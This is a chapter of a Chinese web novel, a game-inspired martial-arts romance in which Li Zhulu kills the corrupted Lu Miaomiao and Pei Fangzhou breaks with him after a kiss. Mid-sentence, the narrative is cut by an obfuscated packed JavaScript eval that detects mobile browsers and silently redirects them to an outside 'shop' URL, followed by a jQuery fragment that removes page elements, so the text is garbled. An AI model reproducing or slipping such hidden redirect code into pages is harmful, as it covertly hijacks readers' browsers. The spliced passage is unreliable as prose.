“铮——”
刀剑相撞,发出清越悠长的铮鸣。
李逐鹿眼风如刀,一招“剑冲阴阳”挡开迎面而来的杀招,怒极一腿横扫出千斤重的罡风,瞄准陆喵喵后撤间隙狠狠袭去,将他重重踹落几十里开外,潮湿的沙地上拖出一道殷红长痕。
陆喵喵呛出一口血,黑气黯淡几分,凶神恶煞地捂着胸口踉跄起身,抬眼间,瞳孔瑟缩。
李逐鹿执剑跃起,身影在夜空中骤然化出道道分身,鹰隼俯冲般迅猛朝着他扑来,速度快如疾电。顷刻间,无数身影又蓦然消失在虚空中,只见无数道亮白剑影将夜风切割成碎片,耳畔剑鸣炸响,剑气悠吟,脚下泛起太极剑阵,将他牢牢禁锢其中,动弹不得。
俨然剑宗骇人听闻的“行天道”剑阵,可缚万千敌、锁无穷魂。
陆喵喵四肢关节弯成一个诡异弧度,欲要使出圣火教遁逃神技“暗沉弥散”,然而眨眼间,无数把气剑带着汹涌杀风而至,万千把剑自黑空中生出,与“行天道”一齐当头冲下,切断了四面八方的生路。
“咚”的一声惊雷炸响,“八卦洞玄”气剑穿心而过,将他重重钉在“行天道”的剑阵中——又吃了一记气宗“六合独尊”剑阵。
陆喵喵还未来得及喘息片刻,腹部剧烈刺痛,一低头,只见长剑穿腹而过,滚烫的血液喷出。他震惊地看着沸血淋漓的伤口,恐惧漫天铺地袭来——竟与此前情况不同!伤口没有丝毫自行愈合的迹象,同时,他感到灵魂正被强行拽离身体……
“你,你是!”陆喵喵不可置信,血红的眼珠死死盯着李逐鹿,自言自语喃喃道,“不可能,不可能,明明我已经……”
李逐鹿冷着脸拔出剑,脸颊溅上血珠,平添一抹邪气。
陆喵喵红瞳黯淡,周身黑气缓缓消散。
“等等,他……”裴放舟面露惊诧,执剑自空中落下。他迅速转头看向李逐鹿,那人背影染血、持剑的手腕抖着,他感到喉间微疼,强行咽下话头。
陆喵喵双眼已经恢复原状,面容毫无血色,腹部血流汩汩。
“喵……”
似回过神来,陆喵喵一双异瞳布满血丝,空洞地看着李逐鹿,嘴里含糊嘟哝什么。
李逐鹿红着眼,死死咬着牙,跪在他身侧,将他拥在怀里,手臂青筋尽数暴起,轻抬起他的脸,俯下身将耳朵贴到他唇边。
“霍……霍下去……”
“窝……是……”
声音越来越小,陆喵喵的瞳孔逐渐涣散,最终缓缓阖上眼皮,头颈重重垂落怀中。
“好。”李逐鹿声线哑颤,眼眶濡湿,颤抖的嘴唇被咬出深痕。
天幕靛蓝,天际翻出一缕微光。
陆喵喵渐渐消散,身躯裂作万千冒着蓝色荧光的方块,星星点点涌上夜幕,奔向熹微的黎明。
李逐鹿松开攥紧的拳头,最后一抹荧光闪烁着跃起,融入虚空中万千荧蓝的长河,又尽数落入他黑潭般湿润的眼底。
那些明灭的荧光方块中,映着各式各样的陆喵喵——
大漠中甩刀的陆喵喵,瞥见烤鱼目露精光的陆喵喵、初见时性感健硕的陆喵喵、勇斗章鱼怪时潇洒的陆喵喵、苟在墙角的陆喵喵、刨到物资兴奋摇尾巴的陆喵喵……以及,危境中永远将刀甩得飞起,跟在他们身后探头探脑,单纯、活泼的陆喵喵……
天地间只剩下海浪声,和怀中温度一点点消逝的虚无。
李逐鹿维持着跪地的姿势,仰望着荧蓝星光,像一尊被悲痛凝固的石像。
裴放舟面白如纸,喉咙堵了硬石般酸涩,眼眶蓄着滚烫的液体,心头迸出无尽的酸痛。他闭上眼,紧抿着颤动的嘴角,垂握身侧的手捏紧拳头,指尖死死掐入掌心。
——“都是因为你!”
眼前的场景如利刃直插入心脏,剧痛一阵一阵涌出,思绪深处一道陌生的声音冲出,在他大脑里横冲直撞,尖锐狠戾地回荡着,和潮水般的痛楚一齐,汹涌地冲刷着四肢百骸。沉痛中,灵魂深处传来一丝相同的撕裂感,将所有隐秘的线头串起,黑暗深渊浮现眼前……
他和陆喵喵一样,都不是人,不过是“它”的一部分。
只要“它”想,随时可以拿走他这具身体,杀光所有人。
自己就是最大的危险……绝不能重蹈覆辙今天的事,他必须离开!
曾经的斗嘴、旖旎和欢笑的回忆,丝丝密密掐紧心尖,心痛更加剧烈。可这段温暖心动的时光,是从命运手中偷来的,他原就不该在光明中……与其折磨多日,不如趁早断了。
他望着那人的背影,无奈苦笑。
“李逐鹿,”裴放舟眼瞳深深,嘴唇苍白颤抖,极力克制着什么,哑声道,“我们,就此别过吧。”
李逐鹿身躯一僵,难以置信地回过头,迎上他沉痛的视线,眼里血丝密布,疲惫震惊至极。
“你……”李逐鹿喉结滚动,吸了口气,拳握的手轻颤,像是强压下爆发的情绪,冷静道,“我们都太累了,休息一会再谈,好么?”
裴放舟垂下眼皮,眼睫湿润微颤,沉声道:“分开吧……对各自都好。”
——“分开吧,对各自都好。”
这句话如洪钟敲碎压抑已久的理智,滔天悲愤井喷似的冲上云霄,尘封已久却又栩栩如生的回忆当头袭来,痛彻心扉。
“分开吧……呵,”李逐鹿眼眶发红,鼻腔轻哼,咬着牙自嘲道,“裴云弈,你是不是觉得勾勾手指头,我挥之即来、招之即去的样子,让你很有优越感。”
“不,我说了我不是他……”
“那你为什么,每次什么都不说就甩脸色走人?要我等的是你,要我走也是你!裴云弈,你究竟有没有认真爱过我,有没有把我当成爱人……”李逐鹿疯狂地嘶吼,长剑“嗡”地一声猛|插地面,热泪终于止不住地夺眶而出,心脏疼痛欲裂。
他愤怒魔怔得几乎听不进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760826|190144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
任何话一样,只是将多年积攒的愤懑、愁苦、冤屈一股脑地吐出。
“裴云弈”三个字深深刺痛裴放舟的心,望着李逐鹿歇斯底里的愤怒面容,那些空白引人遐想情谊想必无比珍重,令他羡慕又隐隐失落,混糅成难以言明的复杂情绪。
那些脑热的暧昧、体贴的温柔,始终都不属于自己。
裴放舟骤然松开力道,一贯清冷的苍白面容突然裂开,双眼微红,发出颤抖沙哑的长笑,带着无尽的自嘲与无奈。
笑声如惊弦般,将李逐鹿从失控的边缘拉回来,怒火被一把浇灭,脸上怔然。
“对,我就是享受被人捧在手心的感觉,为了这样,怎么样都可以……”裴放舟松开手,眼里无尽的悲凉。
“当”地一声长剑滚落在地,映着苍凉的熹微晨光。
他嘴角勾起决绝的弧度,脚步生风地朝李逐鹿走去,一手攥着他的衣领猛地下拉,另一手用力压下他的后颈,毫无血色的冰凉唇珠重重地贴上他的嘴唇。
李逐鹿身躯猛地一僵,瞳孔骤然收缩,耳畔所有声音仿佛都远去,这一刻在岁月的长河中被无尽地拉长……
铁锈味长驱直入,在唇腔弥漫、扩散,他感到自己的双唇被轻柔地含咬着,旖旎过后,力道迅速变得凶猛,仿佛在发泄满腔怒火一般,粗暴地磕着他的唇齿。
唇角被咬破,浓重的血腥味在二人唇齿间漫开。
天光乍破,滚烫的朝霞翻着红鳞,勾勒出裴放舟温润的轮廓,那一双琥珀色的眼瞳仿佛一滩死水般,失落而平静,深深倒映着他。
唇舌稍稍分开,滚烫急促的喘息弥散在二人鼻尖。
裴放舟微红的双眼盯着他,讥讽地勾起唇角,气音微颤:“你一直想要的,不就是这个么?现在你得到了……”
“嗡”地一声,长剑重归于手,裴放舟决然转身,沙哑疲惫道:“算了。”
海浪呜咽着涌向岸边,朝霞洒下粼粼微光。
晨曦朝露间,眼前的道长衣袍染血,孑然提剑离去,金光勾出他单薄挺直的背影,渐行渐远、直至消失于密林。
李逐鹿心脏瑟缩,像被割了道口子般抽疼,眼眶胀得酸热,眼前烫的模糊一片,脚步却怎么也无法挪动半分。
不!不是这样!我不是这个意思。
心底疯狂呐喊无数遍,话到了嘴边却哽在喉间,哑炮般发不出半点响。
“我去哥,你咋搁这吹风呢?”找了半宿不见人影的锦鲤,从不远处的树林中冒出个头,迈着轻功上前,“陆喵喵和嫂子呢?”
哪壶不开提哪壶。
“没事。”李逐鹿嗫嚅了一会,将酸涩咽下,摇了摇头。
锦鲤一愣,惊诧万分,张了张口,半晌,没憋出一个字。
李逐鹿冷着脸走了几步,弯腰拾起剑,抬起手将脸掩在衣袖中,脊背微微颤抖着。
“没事……”
沉默着,衣衫一片咸湿。